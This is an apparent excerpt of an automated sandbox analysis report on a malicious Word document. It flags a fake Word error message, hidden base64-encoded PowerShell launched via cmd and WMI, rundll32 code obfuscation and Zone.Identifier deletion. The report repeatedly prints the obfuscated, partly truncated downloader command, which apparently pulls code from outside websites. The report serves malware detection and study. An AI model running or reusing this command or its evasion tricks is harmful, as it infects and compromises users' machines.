Source: unknown Process created: C:\Windows\System32\cmd.exe cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD IAAgAHMAZQBUAC0ASQB0AEUATQAgACAAdgBhAFIAaQBBAEIATABFADoAMAA5AFAAIAAgACgAWwBUAHkAUABFAF0AKAAiAHsAMAB9AHsAMwB9AHsAMgB9AHsAMQB9ACIALQBGACAAJwBTAHkAJwAsACcAYwB0AE8AcgBZACcALAAnAC4AaQBvAC4ARABJAHIARQAnACwAJwBzAHQAZQBNACcAKQApACAAIAA7ACAAIAAgAHMAZQBUAC0AaQB0AEUATQAgACgAJwBWACcAKwAnAEEAcgAnACsAJwBpAEEAYgBMAEUAOgBhAHYANQAnACsAJwBMACcAKwAnAG8AUgAnACkAIAAgACgAWwB0AFkAcABlAF0AKAAiAHsAMAB9AHsANwB9AHsAMQB9AHsAMwB9AHsANAB9AHsANgB9AHsANQB9AHsAMgB9ACIALQBmACAAJwBTAHkAUwAnACwAJwBlAG0ALgBOAGUAVAAuAFMAZQByAHYAJwAsACcAZQByACcALAAnAEkAJwAsACcAYwBlAHAAbwAnACwAJwB0AE0AYQBuAGEAZwAnACwAJwBJAG4AJwAsACcAVAAnACkAIAApACAAOwAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACgAJwBTACcAKwAnAGkAbABlAG4AJwApACsAKAAnAHQAbAB5AEMAJwArACcAbwBuAHQAJwApACsAJwBpACcAKwAoACcAbgAnACsAJwB1AGUAJwApACkAOwAkAEQAOAAxAHYAbAA2AGwAPQAkAFAAMQAyAFIAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAE8AOQA4AEUAOwAkAFIAXwAxAFoAPQAoACcASwAyACcAKwAnADYARQAnACkAOwAgACAAKABHAGMAaQAgAHYAQQByAEkAQQBCAEwAZQA6ADAAOQBwACAAKQAuAFYAQQBMAHUAZQA6ADoAIgBDAFIARQBhAGAAVABlAGAARABJAHIAYABlAGAAQwBUAE8AcgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAQgAnACsAKAAnAEcAJwArACcARgBMAHEAJwArACcAcAB3AF8ANQBpAEIAJwArACcARwAnACkAKwAoACcARgBGADQAdwAwACcAKwAnAG8AJwApACsAJwBzAGMAJwArACgAJwBCAEcAJwArACcARgAnACkAKQAgAC0AQwBSAGUAcABMAEEAYwBFACgAJwBCAEcAJwArACcARgAnACkALABbAGMASABhAHIAXQA5ADIAKQApADsAJABDADYAOQBWAD0AKAAnAFUAOQAnACsAJwA0AFYAJwApADsAIAAgACgAIABWAEEAcgBpAGEAYgBsAEUAIAAgACgAIgBBAHYANQAiACsAIgBMAG8AIgArACIAcgAiACkAIAAtAHYAQQBsAHUARQBvAG4AIAApADoAOgAiAHMAYABFAGMAVQBSAGkAYABUAHkAcABgAFIATwB0AGAATwBjAG8AbAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQATgA4ADAAVgA9ACgAJwBGADgAJwArACcAOABZACcAKQA7ACQAUgBnAGIAMABmAHEAcAAgAD0AIAAoACgAJwBSADkAJwArACcANQAnACkAKwAnAEYAJwApADsAJABIADIAMwBJAD0AKAAnAFYAJwArACgAJwAwACcAKwAnADQAUAAnACkAKQA7ACQARwBxAGwAdwA5AHQAZAA9ACQASABPAE0ARQArACgAKAAnAHsAMAB9AEwAcQAnACsAJwBwAHcAXwA1AGkAewAwAH0AJwArACcARgAnACsAJwA0AHcAJwArACcAMABvAHMAYwB7ADAAfQAnACkALQBmACAAIABbAEMAaABhAHIAXQA5ADIAKQArACQAUgBnAGIAMABmAHEAcAArACgAJwAuACcAKwAoACcAZAAnACsAJwBsAGwAJwApACkAOwAkAEQAMwA0AFMAPQAoACcAVgA1ACcAKwAnADkAVAAnACkAOwAkAEwAegA3ADQANgA4AHMAPQAoACgAJwBdAGEAJwArACcAbgAnACkAKwAoACcAdwBbADMAJwArACcAOgAnACkAKwAnAC8ALwAnACsAKAAnAGgAYQBuAGcAJwArACcAYQAnACkAKwAoACcAcgBsAGEAJwArACcAcwAnACkAKwAoACcAdABpAGsALgAnACsAJwBjACcAKQArACgAJwBvACcAKwAnAG0ALwAnACsAJwBjAGcAaQAnACkAKwAoACcALQBiAGkAJwArACcAbgAvACcAKwAnAFUAaQA0ACcAKQArACgAJwBuACcAKwAnAC8AQAAnACkAKwAnAF0AYQAnACsAKAAnAG4AdwBbADMAJwArACcAOgAnACsAJwAvAC8AJwApACsAKAAnAHAAJwArACcAYQBkAHIAJwArACcAZQBlAHMAYwAnACsAJwBhAHAAJwArACcAZQBzACcAKwAnAC4AYwBvAG0ALwBiACcAKwAnAGwAJwApACsAKAAnAG8AZwAvADAAJwArACcASQAvAEAAJwApACsAKAAnAF0AJwArACcAYQBuACcAKQArACcAdwBbACcAKwAoACcAMwA6ACcAKwAnAC8ALwBzACcAKQArACcAYQAnACsAJwByACcAKwAnAHQAJwArACcAdQByACcAKwAnAGUALgAnACsAKAAnAGMAJwArACcAbwBtAC8AdwBwACcAKQArACgAJwAtAGkA
PowerShell case anomaly found
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IAAgAHMAZQBUAC0ASQB0AEUATQAgACAAdgBhAFIAaQBBAEIATABFADoAMAA5AFAAIAAgACgAWwBUAHkAUABFAF0AKAAiAHsAMAB9AHsAMwB9AHsAMgB9AHsAMQB9ACIALQBGACAAJwBTAHkAJwAsACcAYwB0AE8AcgBZACcALAAnAC4AaQBvAC4ARABJAHIARQAnACwAJwBzAHQAZQBNACcAKQApACAAIAA7ACAAIAAgAHMAZQBUAC0AaQB0AEUATQAgACgAJwBWACcAKwAnAEEAcgAnACsAJwBpAEEAYgBMAEUAOgBhAHYANQAnACsAJwBMACcAKwAnAG8AUgAnACkAIAAgACgAWwB0AFkAcABlAF0AKAAiAHsAMAB9AHsANwB9AHsAMQB9AHsAMwB9AHsANAB9AHsANgB9AHsANQB9AHsAMgB9ACIALQBmACAAJwBTAHkAUwAnACwAJwBlAG0ALgBOAGUAVAAuAFMAZQByAHYAJwAsACcAZQByACcALAAnAEkAJwAsACcAYwBlAHAAbwAnACwAJwB0AE0AYQBuAGEAZwAnACwAJwBJAG4AJwAsACcAVAAnACkAIAApACAAOwAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACgAJwBTACcAKwAnAGkAbABlAG4AJwApACsAKAAnAHQAbAB5AEMAJwArACcAbwBuAHQAJwApACsAJwBpACcAKwAoACcAbgAnACsAJwB1AGUAJwApACkAOwAkAEQAOAAxAHYAbAA2AGwAPQAkAFAAMQAyAFIAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAE8AOQA4AEUAOwAkAFIAXwAxAFoAPQAoACcASwAyACcAKwAnADYARQAnACkAOwAgACAAKABHAGMAaQAgAHYAQQByAEkAQQBCAEwAZQA6ADAAOQBwACAAKQAuAFYAQQBMAHUAZQA6ADoAIgBDAFIARQBhAGAAVABlAGAARABJAHIAYABlAGAAQwBUAE8AcgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAQgAnACsAKAAnAEcAJwArACcARgBMAHEAJwArACcAcAB3AF8ANQBpAEIAJwArACcARwAnACkAKwAoACcARgBGADQAdwAwACcAKwAnAG8AJwApACsAJwBzAGMAJwArACgAJwBCAEcAJwArACcARgAnACkAKQAgAC0AQwBSAGUAcABMAEEAYwBFACgAJwBCAEcAJwArACcARgAnACkALABbAGMASABhAHIAXQA5ADIAKQApADsAJABDADYAOQBWAD0AKAAnAFUAOQAnACsAJwA0AFYAJwApADsAIAAgACgAIABWAEEAcgBpAGEAYgBsAEUAIAAgACgAIgBBAHYANQAiACsAIgBMAG8AIgArACIAcgAiACkAIAAtAHYAQQBsAHUARQBvAG4AIAApADoAOgAiAHMAYABFAGMAVQBSAGkAYABUAHkAcABgAFIATwB0AGAATwBjAG8AbAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQATgA4ADAAVgA9ACgAJwBGADgAJwArACcAOABZACcAKQA7ACQAUgBnAGIAMABmAHEAcAAgAD0AIAAoACgAJwBSADkAJwArACcANQAnACkAKwAnAEYAJwApADsAJABIADIAMwBJAD0AKAAnAFYAJwArACgAJwAwACcAKwAnADQAUAAnACkAKQA7ACQARwBxAGwAdwA5AHQAZAA9ACQASABPAE0ARQArACgAKAAnAHsAMAB9AEwAcQAnACsAJwBwAHcAXwA1AGkAewAwAH0AJwArACcARgAnACsAJwA0AHcAJwArACcAMABvAHMAYwB7ADAAfQAnACkALQBmACAAIABbAEMAaABhAHIAXQA5ADIAKQArACQAUgBnAGIAMABmAHEAcAArACgAJwAuACcAKwAoACcAZAAnACsAJwBsAGwAJwApACkAOwAkAEQAMwA0AFMAPQAoACcAVgA1ACcAKwAnADkAVAAnACkAOwAkAEwAegA3ADQANgA4AHMAPQAoACgAJwBdAGEAJwArACcAbgAnACkAKwAoACcAdwBbADMAJwArACcAOgAnACkAKwAnAC8ALwAnACsAKAAnAGgAYQBuAGcAJwArACcAYQAnACkAKwAoACcAcgBsAGEAJwArACcAcwAnACkAKwAoACcAdABpAGsALgAnACsAJwBjACcAKQArACgAJwBvACcAKwAnAG0ALwAnACsAJwBjAGcAaQAnACkAKwAoACcALQBiAGkAJwArACcAbgAvACcAKwAnAFUAaQA0ACcAKQArACgAJwBuACcAKwAnAC8AQAAnACkAKwAnAF0AYQAnACsAKAAnAG4AdwBbADMAJwArACcAOgAnACsAJwAvAC8AJwApACsAKAAnAHAAJwArACcAYQBkAHIAJwArACcAZQBlAHMAYwAnACsAJwBhAHAAJwArACcAZQBzACcAKwAnAC4AYwBvAG0ALwBiACcAKwAnAGwAJwApACsAKAAnAG8AZwAvADAAJwArACcASQAvAEAAJwApACsAKAAnAF0AJwArACcAYQBuACcAKQArACcAdwBbACcAKwAoACcAMwA6ACcAKwAnAC8ALwBzACcAKQArACcAYQAnACsAJwByACcAKwAnAHQAJwArACcAdQByACcAKwAnAGUALgAnACsAKAAnAGMAJwArACcAbwBtAC8AdwBwACcAKQArACgAJwAtAGkAbgBjACcAKwAnAGwAJwArACcAdQAnACkAKwAoACcAZABlAHMAJwArACcALwBKAEQAO
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IAAgAHMAZQBUAC0ASQB0AEUATQAgACAAdgBhAFIAaQBBAEIATABFADoAMAA5AFAAIAAgACgAWwBUAHkAUABFAF0AKAAiAHsAMAB9AHsAMwB9AHsAMgB9AHsAMQB9ACIALQBGACAAJwBTAHkAJwAsACcAYwB0AE8AcgBZACcALAAnAC4AaQBvAC4ARABJAHIARQAnACwAJwBzAHQAZQBNACcAKQApACAAIAA7ACAAIAAgAHMAZQBUAC0AaQB0AEUATQAgACgAJwBWACcAKwAnAEEAcgAnACsAJwBpAEEAYgBMAEUAOgBhAHYANQAnACsAJwBMACcAKwAnAG8AUgAnACkAIAAgACgAWwB0AFkAcABlAF0AKAAiAHsAMAB9AHsANwB9AHsAMQB9AHsAMwB9AHsANAB9AHsANgB9AHsANQB9AHsAMgB9ACIALQBmACAAJwBTAHkAUwAnACwAJwBlAG0ALgBOAGUAVAAuAFMAZQByAHYAJwAsACcAZQByACcALAAnAEkAJwAsACcAYwBlAHAAbwAnACwAJwB0AE0AYQBuAGEAZwAnACwAJwBJAG4AJwAsACcAVAAnACkAIAApACAAOwAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACgAJwBTACcAKwAnAGkAbABlAG4AJwApACsAKAAnAHQAbAB5AEMAJwArACcAbwBuAHQAJwApACsAJwBpACcAKwAoACcAbgAnACsAJwB1AGUAJwApACkAOwAkAEQAOAAxAHYAbAA2AGwAPQAkAFAAMQAyAFIAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAE8AOQA4AEUAOwAkAFIAXwAxAFoAPQAoACcASwAyACcAKwAnADYARQAnACkAOwAgACAAKABHAGMAaQAgAHYAQQByAEkAQQBCAEwAZQA6ADAAOQBwACAAKQAuAFYAQQBMAHUAZQA6ADoAIgBDAFIARQBhAGAAVABlAGAARABJAHIAYABlAGAAQwBUAE8AcgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAQgAnACsAKAAnAEcAJwArACcARgBMAHEAJwArACcAcAB3AF8ANQBpAEIAJwArACcARwAnACkAKwAoACcARgBGADQAdwAwACcAKwAnAG8AJwApACsAJwBzAGMAJwArACgAJwBCAEcAJwArACcARgAnACkAKQAgAC0AQwBSAGUAcABMAEEAYwBFACgAJwBCAEcAJwArACcARgAnACkALABbAGMASABhAHIAXQA5ADIAKQApADsAJABDADYAOQBWAD0AKAAnAFUAOQAnACsAJwA0AFYAJwApADsAIAAgACgAIABWAEEAcgBpAGEAYgBsAEUAIAAgACgAIgBBAHYANQAiACsAIgBMAG8AIgArACIAcgAiACkAIAAtAHYAQQBsAHUARQBvAG4AIAApADoAOgAiAHMAYABFAGMAVQBSAGkAYABUAHkAcABgAFIATwB0AGAATwBjAG8AbAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQATgA4ADAAVgA9ACgAJwBGADgAJwArACcAOABZACcAKQA7ACQAUgBnAGIAMABmAHEAcAAgAD0AIAAoACgAJwBSADkAJwArACcANQAnACkAKwAnAEYAJwApADsAJABIADIAMwBJAD0AKAAnAFYAJwArACgAJwAwACcAKwAnADQAUAAnACkAKQA7ACQARwBxAGwAdwA5AHQAZAA9ACQASABPAE0ARQArACgAKAAnAHsAMAB9AEwAcQAnACsAJwBwAHcAXwA1AGkAewAwAH0AJwArACcARgAnACsAJwA0AHcAJwArACcAMABvAHMAYwB7ADAAfQAnACkALQBmACAAIABbAEMAaABhAHIAXQA5ADIAKQArACQAUgBnAGIAMABmAHEAcAArACgAJwAuACcAKwAoACcAZAAnACsAJwBsAGwAJwApACkAOwAkAEQAMwA0AFMAPQAoACcAVgA1ACcAKwAnADkAVAAnACkAOwAkAEwAegA3ADQANgA4AHMAPQAoACgAJwBdAGEAJwArACcAbgAnACkAKwAoACcAdwBbADMAJwArACcAOgAnACkAKwAnAC8ALwAnACsAKAAnAGgAYQBuAGcAJwArACcAYQAnACkAKwAoACcAcgBsAGEAJwArACcAcwAnACkAKwAoACcAdABpAGsALgAnACsAJwBjACcAKQArACgAJwBvACcAKwAnAG0ALwAnACsAJwBjAGcAaQAnACkAKwAoACcALQBiAGkAJwArACcAbgAvACcAKwAnAFUAaQA0ACcAKQArACgAJwBuACcAKwAnAC8AQAAnACkAKwAnAF0AYQAnACsAKAAnAG4AdwBbADMAJwArACcAOgAnACsAJwAvAC8AJwApACsAKAAnAHAAJwArACcAYQBkAHIAJwArACcAZQBlAHMAYwAnACsAJwBhAHAAJwArACcAZQBzACcAKwAnAC4AYwBvAG0ALwBiACcAKwAnAGwAJwApACsAKAAnAG8AZwAvADAAJwArACcASQAvAEAAJwApACsAKAAnAF0AJwArACcAYQBuACcAKQArACcAdwBbACcAKwAoACcAMwA6ACcAKwAnAC8ALwBzACcAKQArACcAYQAnACsAJwByACcAKwAnAHQAJwArACcAdQByACcAKwAnAGUALgAnACsAKAAnAGMAJwArACcAbwBtAC8AdwBwACcAKQArACgAJwAtAGkAbgBjACcAKwAnAGwAJwArACcAdQAnACkAKwAoACcAZABlAHMAJwArACcALwBKAEQAO Jump to behavior
Suspicious powershell command line found
Source: unknown Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IAAgAHMAZQBUAC0ASQB0AEUATQAgACAAdgBhAFIAaQBBAEIATABFADoAMAA5AFAAIAAgACgAWwBUAHkAUABFAF0AKAAiAHsAMAB9AHsAMwB9AHsAMgB9AHsAMQB9ACIALQBGACAAJwBTAHkAJwAsACcAYwB0AE8AcgBZACcALAAnAC4AaQBvAC4ARABJAHIARQAnACwAJwBzAHQAZQBNACcAKQApACAAIAA7ACAAIAAgAHMAZQBUAC0AaQB0AEUATQAgACgAJwBWACcAKwAnAEEAcgAnACsAJwBpAEEAYgBMAEUAOgBhAHYANQAnACsAJwBMACcAKwAnAG8AUgAnACkAIAAgACgAWwB0AFkAcABlAF0AKAAiAHsAMAB9AHsANwB9AHsAMQB9AHsAMwB9AHsANAB9AHsANgB9AHsANQB9AHsAMgB9ACIALQBmACAAJwBTAHkAUwAnACwAJwBlAG0ALgBOAGUAVAAuAFMAZQByAHYAJwAsACcAZQByACcALAAnAEkAJwAsACcAYwBlAHAAbwAnACwAJwB0AE0AYQBuAGEAZwAnACwAJwBJAG4AJwAsACcAVAAnACkAIAApACAAOwAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACgAJwBTACcAKwAnAGkAbABlAG4AJwApACsAKAAnAHQAbAB5AEMAJwArACcAbwBuAHQAJwApACsAJwBpACcAKwAoACcAbgAnACsAJwB1AGUAJwApACkAOwAkAEQAOAAxAHYAbAA2AGwAPQAkAFAAMQAyAFIAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAE8AOQA4AEUAOwAkAFIAXwAxAFoAPQAoACcASwAyACcAKwAnADYARQAnACkAOwAgACAAKABHAGMAaQAgAHYAQQByAEkAQQBCAEwAZQA6ADAAOQBwACAAKQAuAFYAQQBMAHUAZQA6ADoAIgBDAFIARQBhAGAAVABlAGAARABJAHIAYABlAGAAQwBUAE8AcgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAQgAnACsAKAAnAEcAJwArACcARgBMAHEAJwArACcAcAB3AF8ANQBpAEIAJwArACcARwAnACkAKwAoACcARgBGADQAdwAwACcAKwAnAG8AJwApACsAJwBzAGMAJwArACgAJwBCAEcAJwArACcARgAnACkAKQAgAC0AQwBSAGUAcABMAEEAYwBFACgAJwBCAEcAJwArACcARgAnACkALABbAGMASABhAHIAXQA5ADIAKQApADsAJABDADYAOQBWAD0AKAAnAFUAOQAnACsAJwA0AFYAJwApADsAIAAgACgAIABWAEEAcgBpAGEAYgBsAEUAIAAgACgAIgBBAHYANQAiACsAIgBMAG8AIgArACIAcgAiACkAIAAtAHYAQQBsAHUARQBvAG4AIAApADoAOgAiAHMAYABFAGMAVQBSAGkAYABUAHkAcABgAFIATwB0AGAATwBjAG8AbAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQATgA4ADAAVgA9ACgAJwBGADgAJwArACcAOABZACcAKQA7ACQAUgBnAGIAMABmAHEAcAAgAD0AIAAoACgAJwBSADkAJwArACcANQAnACkAKwAnAEYAJwApADsAJABIADIAMwBJAD0AKAAnAFYAJwArACgAJwAwACcAKwAnADQAUAAnACkAKQA7ACQARwBxAGwAdwA5AHQAZAA9ACQASABPAE0ARQArACgAKAAnAHsAMAB9AEwAcQAnACsAJwBwAHcAXwA1AGkAewAwAH0AJwArACcARgAnACsAJwA0AHcAJwArACcAMABvAHMAYwB7ADAAfQAnACkALQBmACAAIABbAEMAaABhAHIAXQA5ADIAKQArACQAUgBnAGIAMABmAHEAcAArACgAJwAuACcAKwAoACcAZAAnACsAJwBsAGwAJwApACkAOwAkAEQAMwA0AFMAPQAoACcAVgA1ACcAKwAnADkAVAAnACkAOwAkAEwAegA3ADQANgA4AHMAPQAoACgAJwBdAGEAJwArACcAbgAnACkAKwAoACcAdwBbADMAJwArACcAOgAnACkAKwAnAC8ALwAnACsAKAAnAGgAYQBuAGcAJwArACcAYQAnACkAKwAoACcAcgBsAGEAJwArACcAcwAnACkAKwAoACcAdABpAGsALgAnACsAJwBjACcAKQArACgAJwBvACcAKwAnAG0ALwAnACsAJwBjAGcAaQAnACkAKwAoACcALQBiAGkAJwArACcAbgAvACcAKwAnAFUAaQA0ACcAKQArACgAJwBuACcAKwAnAC8AQAAnACkAKwAnAF0AYQAnACsAKAAnAG4AdwBbADMAJwArACcAOgAnACsAJwAvAC8AJwApACsAKAAnAHAAJwArACcAYQBkAHIAJwArACcAZQBlAHMAYwAnACsAJwBhAHAAJwArACcAZQBzACcAKwAnAC4AYwBvAG0ALwBiACcAKwAnAGwAJwApACsAKAAnAG8AZwAvADAAJwArACcASQAvAEAAJwApACsAKAAnAF0AJwArACcAYQBuACcAKQArACcAdwBbACcAKwAoACcAMwA6ACcAKwAnAC8ALwBzACcAKQArACcAYQAnACsAJwByACcAKwAnAHQAJwArACcAdQByACcAKwAnAGUALgAnACsAKAAnAGMAJwArACcAbwBtAC8AdwBwACcAKQArACgAJwAtAGkAbgBjACcAKwAnAGwAJwArACcAdQAnACkAKwAoACcAZABlAHMAJwArACcALwBKAEQAO
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POwersheLL -w hidden -ENCOD IAAgAHMAZQBUAC0ASQB0AEUATQAgACAAdgBhAFIAaQBBAEIATABFADoAMAA5AFAAIAAgACgAWwBUAHkAUABFAF0AKAAiAHsAMAB9AHsAMwB9AHsAMgB9AHsAMQB9ACIALQBGACAAJwBTAHkAJwAsACcAYwB0AE8AcgBZACcALAAnAC4AaQBvAC4ARABJAHIARQAnACwAJwBzAHQAZQBNACcAKQApACAAIAA7ACAAIAAgAHMAZQBUAC0AaQB0AEUATQAgACgAJwBWACcAKwAnAEEAcgAnACsAJwBpAEEAYgBMAEUAOgBhAHYANQAnACsAJwBMACcAKwAnAG8AUgAnACkAIAAgACgAWwB0AFkAcABlAF0AKAAiAHsAMAB9AHsANwB9AHsAMQB9AHsAMwB9AHsANAB9AHsANgB9AHsANQB9AHsAMgB9ACIALQBmACAAJwBTAHkAUwAnACwAJwBlAG0ALgBOAGUAVAAuAFMAZQByAHYAJwAsACcAZQByACcALAAnAEkAJwAsACcAYwBlAHAAbwAnACwAJwB0AE0AYQBuAGEAZwAnACwAJwBJAG4AJwAsACcAVAAnACkAIAApACAAOwAgACAAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAoACgAJwBTACcAKwAnAGkAbABlAG4AJwApACsAKAAnAHQAbAB5AEMAJwArACcAbwBuAHQAJwApACsAJwBpACcAKwAoACcAbgAnACsAJwB1AGUAJwApACkAOwAkAEQAOAAxAHYAbAA2AGwAPQAkAFAAMQAyAFIAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAE8AOQA4AEUAOwAkAFIAXwAxAFoAPQAoACcASwAyACcAKwAnADYARQAnACkAOwAgACAAKABHAGMAaQAgAHYAQQByAEkAQQBCAEwAZQA6ADAAOQBwACAAKQAuAFYAQQBMAHUAZQA6ADoAIgBDAFIARQBhAGAAVABlAGAARABJAHIAYABlAGAAQwBUAE8AcgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAQgAnACsAKAAnAEcAJwArACcARgBMAHEAJwArACcAcAB3AF8ANQBpAEIAJwArACcARwAnACkAKwAoACcARgBGADQAdwAwACcAKwAnAG8AJwApACsAJwBzAGMAJwArACgAJwBCAEcAJwArACcARgAnACkAKQAgAC0AQwBSAGUAcABMAEEAYwBFACgAJwBCAEcAJwArACcARgAnACkALABbAGMASABhAHIAXQA5ADIAKQApADsAJABDADYAOQBWAD0AKAAnAFUAOQAnACsAJwA0AFYAJwApADsAIAAgACgAIABWAEEAcgBpAGEAYgBsAEUAIAAgACgAIgBBAHYANQAiACsAIgBMAG8AIgArACIAcgAiACkAIAAtAHYAQQBsAHUARQBvAG4AIAApADoAOgAiAHMAYABFAGMAVQBSAGkAYABUAHkAcABgAFIATwB0AGAATwBjAG8AbAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQATgA4ADAAVgA9ACgAJwBGADgAJwArACcAOABZACcAKQA7ACQAUgBnAGIAMABmAHEAcAAgAD0AIAAoACgAJwBSADkAJwArACcANQAnACkAKwAnAEYAJwApADsAJABIADIAMwBJAD0AKAAnAFYAJwArACgAJwAwACcAKwAnADQAUAAnACkAKQA7ACQARwBxAGwAdwA5AHQAZAA9ACQASABPAE0ARQArACgAKAAnAHsAMAB9AEwAcQAnACsAJwBwAHcAXwA1AGkAewAwAH0AJwArACcARgAnACsAJwA0AHcAJwArACcAMABvAHMAYwB7ADAAfQAnACkALQBmACAAIABbAEMAaABhAHIAXQA5ADIAKQArACQAUgBnAGIAMABmAHEAcAArACgAJwAuACcAKwAoACcAZAAnACsAJwBsAGwAJwApACkAOwAkAEQAMwA0AFMAPQAoACcAVgA1ACcAKwAnADkAVAAnACkAOwAkAEwAegA3ADQANgA4AHMAPQAoACgAJwBdAGEAJwArACcAbgAnACkAKwAoACcAdwBbADMAJwArACcAOgAnACkAKwAnAC8ALwAnACsAKAAnAGgAYQBuAGcAJwArACcAYQAnACkAKwAoACcAcgBsAGEAJwArACcAcwAnACkAKwAoACcAdABpAGsALgAnACsAJwBjACcAKQArACgAJwBvACcAKwAnAG0ALwAnACsAJwBjAGcAaQAnACkAKwAoACcALQBiAGkAJwArACcAbgAvACcAKwAnAFUAaQA0ACcAKQArACgAJwBuACcAKwAnAC8AQAAnACkAKwAnAF0AYQAnACsAKAAnAG4AdwBbADMAJwArACcAOgAnACsAJwAvAC8AJwApACsAKAAnAHAAJwArACcAYQBkAHIAJwArACcAZQBlAHMAYwAnACsAJwBhAHAAJwArACcAZQBzACcAKwAnAC4AYwBvAG0ALwBiACcAKwAnAGwAJwApACsAKAAnAG8AZwAvADAAJwArACcASQAvAEAAJwApACsAKAAnAF0AJwArACcAYQBuACcAKQArACcAdwBbACcAKwAoACcAMwA6ACcAKwAnAC8ALwBzACcAKQArACcAYQAnACsAJwByACcAKwAnAHQAJwArACcAdQByACcAKwAnAGUALgAnACsAKAAnAGMAJwArACcAbwBtAC8AdwBwACcAKQArACgAJwAtAGkAbgBjACcAKwAnAGwAJwArACcAdQAnACkAKwAoACcAZABlAHMAJwArACcALwBKAEQAO Jump to behavior
Contains functionality to dynamically determine API calls
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000C620 EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer, 7_2_1000C620
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10008085 push ecx; ret 7_2_10008098
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10004ADA push ecx; ret 7_2_10004AED

Persistence and Installation Behavior:

barindex
Creates processes via WMI
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE WMI Queries: IWbemServices::ExecMethod - Win32_Process::Create

Hooking and other Techniques for Hiding and Protection:

barindex
Hides that the sample has been downloaded from the Internet (zone.identifier)
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Pqryhcbuipyk\timgojzfiiv.pkf:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Smbjrydierlk\vhfvfjykmpc.gpr:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Zighjhitzytphbn\uglqlahctjehdp.dot:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Kviedw\vklxa.red:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Jwivvemqsvj\ytoymdqmxu.lfx:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Xjfxyzhrduzjhpv\whfytnwxpdgksj.gxy:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Yvmidjdy\junkzqh.mrj:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Keqofngu\zdyvzfg.cjv:Zone.Identifier read attributes | delete Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Ngtbqtsge\bgcbpmtq.wzo:Zone.Identifier read attributes | delete
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Loyvqvaohpqmmxv\wleeyowrrvrssq.giw:Zone.Identifier read attributes | delete
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Rqvte\amll.nuu:Zone.Identifier read attributes | delete
Source: C:\Windows\SysWOW64\rundll32.exe File opened: C:\Windows\SysWOW64\Gpjmjgasqrjuply\qjwbjnwqtblulz.cqq:Zone.Identifier read attributes | delete
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
